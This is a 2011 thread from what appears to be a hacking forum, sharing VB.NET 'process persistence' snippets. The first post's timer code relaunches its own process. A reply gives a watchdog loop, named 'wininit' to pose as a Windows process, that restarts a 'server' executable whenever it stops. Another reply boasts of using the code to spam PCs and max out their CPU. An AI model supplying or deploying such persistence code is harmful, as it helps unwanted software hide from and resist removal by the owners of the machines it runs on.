Sinisterly
[VB.Net] Basic Process Persistence - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: [VB.Net] Basic Process Persistence (/Thread-VB-Net-Basic-Process-Persistence)



[VB.Net] Basic Process Persistence - Coder-san - 04-11-2011

Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If Process.GetProcessesByName(Process.GetCurrentProcess.ProcessName).Length < 2 Then 'If self is Opened Less than twice Process.Start(Process.GetCurrentProcess.ProcessName) 'Start own instance End If End Sub

Spoiler: How to defeat this persistence?
Using Windows Task Manager, click End Tree



RE: [VB.Net] Basic Process Persistence - 1234hotmaster - 04-11-2011

hehe i love this code :wub:

used it in my l3et@ for massive pc spamming and 100% CPU Evil


RE: [VB.Net] Basic Process Persistence - nosferatus - 05-04-2011

This is just another way

Code:
Public Class wininit Shared Sub Main() Dim d = New List(Of String)() While True Try For Each p As System.Diagnostics.Process In System.Diagnostics.Process.GetProcesses() d.Add(p.ProcessName) Next If Not d.Contains("name of the server") Then System.Diagnostics.Process.Start(server path & "\name of the server.exe") End If d.Clear() Thread.Sleep(1000) Catch End Try End While End Sub End Class



RE: [VB.Net] Basic Process Persistence - Tr0ne - 05-25-2011

Coder san great share man as usual Tongue